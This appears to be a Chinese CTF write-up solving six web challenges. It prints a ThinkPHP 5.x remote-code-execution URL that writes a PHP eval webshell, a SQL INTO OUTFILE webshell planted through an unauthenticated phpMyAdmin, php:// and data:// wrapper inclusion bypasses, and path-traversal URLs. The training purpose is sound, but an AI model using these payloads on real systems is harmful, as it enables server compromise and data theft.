Web解进阶题目思路(1~6)

  • A+
所属分类:逆向工程

Web进阶题目

  • 一、baby_web(难度:1)

  • 二、Training-WWW-Robots(难度:1)(robots协议)

  • 三、php_rce(难度:2)(注入)

  • 四、Web_php_include(难度:2)(注入)

    • 方法一:sql注入一句话

    • 方法二:

    • 方法三:

  • 五、warmup (难度:2)(PHP代码)

  • 六、ics-06(难度:2)(爆破)


kalilinux中各个软件的功能用法-----后续网络下载并添加
kalilinux中各个软件的功能用法-----系统自带
Web知识点


一、baby_web(难度:1)

提示:想想初始页面是哪个
Web解进阶题目思路(1~6)
难度一星不高,看在刚结束入门进入进阶,所以前面不放难的,那我们也将就不用脑子,提示是初始页面,直接F12:
Web解进阶题目思路(1~6)
没flag,猜错,那就抓包尝试send to repeater:
Web解进阶题目思路(1~6)
结束


二、Training-WWW-Robots(难度:1)(robots协议)

提示:无
Web解进阶题目思路(1~6)
提到了robots.txt,那就进入robots.txt看下:Web解进阶题目思路(1~6)
又出现了一个fl0g.php文件,并且禁止访问?那再次进入这个文件查看:
Web解进阶题目思路(1~6)
成功


三、php_rce(难度:2)(注入)

提示:无
Web解进阶题目思路(1~6)
直接点击几个连接,发现全是广告,没什么有用的信息==。
没有下手点,而根据题目rce知道可能和什么漏洞有关,网上查找许就突然发现是ThinkPHP 5.1版本的漏洞问题,也就是说我们可以开个后门,查找了一下方法:
比如:通过长途代码注入实行phpinfo语句:

http://111.198.29.45:58309/index.php/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1


Web解进阶题目思路(1~6)
而我们也可以通过这个插入一个后门,作用是创建一个名叫muma.php的文件,后门密码是12345(注意:php和@之间一定要有空格):

http://111.198.29.45:58309/index.php/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=muma.php&vars[1][]=<?php @eval($_POST[12345]);?>


运行以后网页会返回文件的大小:
Web解进阶题目思路(1~6)
然后查看访问下我们创建的muma.php文件:
Web解进阶题目思路(1~6)
貌似没报错,直接打开蚁剑指向插入的文件,输入密码并且测试连接:
Web解进阶题目思路(1~6)
开始进去根目录找flag相关的文件:
Web解进阶题目思路(1~6)
成功


四、Web_php_include(难度:2)(注入)

提示:无
Web解进阶题目思路(1~6)

方法一:sql注入一句话

先日常dirsearch.py检索一下:
Web解进阶题目思路(1~6)
发现phpmyadmin文件,先直接打开,尝试账号root,密码为空的管理员身份进入,发现成功了:
Web解进阶题目思路(1~6)
SQL注入一句话:

select "<?php @eval($_POST['123']);?>" into outfile "/tmp/muma.php"


linux默认tmp是可写目录
即在路径/tmp/路径创建一个muma.php文件并且写入一句话“<?php eval_POST['123']?>”,点击执行:
Web解进阶题目思路(1~6)
打开蚁剑,连接这个地址中我们插入的文件,密码为我们设置的123:
Web解进阶题目思路(1~6)
连接成功后,发现这个奇怪的php文件,打开既是密钥:
Web解进阶题目思路(1~6)

方法二:

相比于上一步无脑走程序,这次我们对php代码进行解析:
Web解进阶题目思路(1~6)
大致意思是当page的值中有php://时进入while循环,并且在循环中把page值中出现的php://替换成空格。那么php://是什么?它是伪协议的一种,也就是说这一题把php://伪协议给ban了,但是仔细一看,strstr() 函数是要区分大小写的,而在php中不以区分,则可以用Php://来替代php://绕过(反正随便有几个大写就行),而绕过以后可以靠下面的include()来执行page中的代码,这样看可能是可行的,则赋值:page=Php://input
其作用是:可以读取没有处理过的POST数据(具体在笔记)
Web解进阶题目思路(1~6)
然后执行抓包send to repeater:
Web解进阶题目思路(1~6)
之后可以开始写入执行的php代码,sent后发现fl4gisisish3r3.php文件:
Web解进阶题目思路(1~6)
重新修改下需要执行的代码内容sent:
Web解进阶题目思路(1~6)

方法三:

使用另一个伪协议data来绕过:
具体用法为:?page=data://text/plain,+命令语言
Web解进阶题目思路(1~6)
找到文件后,再使用file_get_contents读取该文件下的内容:
http://111.198.29.45:54924/?page=data://text/plain,%3C?php%20$a_code%20=%20file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a_code)?%3E:
Web解进阶题目思路(1~6)

五、warmup (难度:2)(PHP代码)

进入界面除了一个滑稽什么都没有,查看源码发现有个提示为source.php
Web解进阶题目思路(1~6)
进入source.php以后发现源码:
Web解进阶题目思路(1~6)
大致看了一眼看到hint.php,再次进入:
Web解进阶题目思路(1~6)
发现唯一的线索只是flag存在ffffllllaaaagggg中,具体还是要返回source.php解读源码。全部源码:


 <?php    highlight_file(__FILE__);    class emmm{        public static function checkFile(&$page){          #此处是个白名单数组,isset()判断page是否为空            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];            if (! isset($page) || !is_string($page)) {                echo "you can't see it";                return false;            }                  #第一次判断page是否在数组中            if (in_array($page, $whitelist)) {                return true;            }                  #_page取值为page中"?"前面的部分            $_page = mb_substr(                $page,                0,                mb_strpos($page . '?', '?')            );                        #第二次判断page是否在数组中            if (in_array($_page, $whitelist)) {                return true;            }      #_page取值为page经过url解码的值。之后同样进行取值为_page中"?"前面的部分            $_page = urldecode($page);            $_page = mb_substr(                $_page,                0,                mb_strpos($_page . '?', '?')            );             #第三次判断page是否在数组中            if (in_array($_page, $whitelist)) {                return true;            }            echo "you can't see it";            return false;        }    }
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" alt="Web解进阶题目思路(1~6)" />"; } ?>


又是一题考察文件包含的题目,那么这题最终就是如何给include $_REQUEST['file']中的file赋值的问题。
首先file必须包含在这个数组,即前提赋值为source.php或者hint.php,之后通过这三次判断,使得值返回true,并且能指向这个ffffllllaaaagggg文件:
Web解进阶题目思路(1~6)
测试证明以下均可正确执行,(其中%3f、%253f分别是"?"的一次url、两次url加密;而第一个/是指向根目录,之后一堆/…/…/…/是目录级数,可以有多个都没关系,但是之后貌似有说ffffllllaaaagggg每个都是4个字母,即提示是4级目录):
http://111.198.29.45:35953/?file=source.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%3ffile=source.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%253ffile=source.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/?file=hint.php?/../../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%3ffile=hint.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%253ffile=hint.php?/../../../../../ffffllllaaaagggg


六、ics-06(难度:2)(爆破)

提示 :云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
Web解进阶题目思路(1~6)
纯爆破== ,id值从1到10000爆,久的一,最终id值为2333.



一如既往的学习,一如既往的整理,一如即往的分享。感谢支持Web解进阶题目思路(1~6)

【好书推荐】



Web解进阶题目思路(1~6)

Web解进阶题目思路(1~6)

2020hw系列文章整理(中秋快乐、国庆快乐、双节快乐)

HW中如何检测和阻止DNS隧道

ctf系列文章整理

日志安全系列-安全日志

【干货】流量分析系列文章整理

【干货】超全的 渗透测试系列文章整理

【干货】持续性更新-内网渗透测试系列文章

【干货】android安全系列文章整理



扫描关注LemonSec

Web解进阶题目思路(1~6)

Web解进阶题目思路(1~6)


本文始发于微信公众号(LemonSec):Web解进阶题目思路(1~6)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: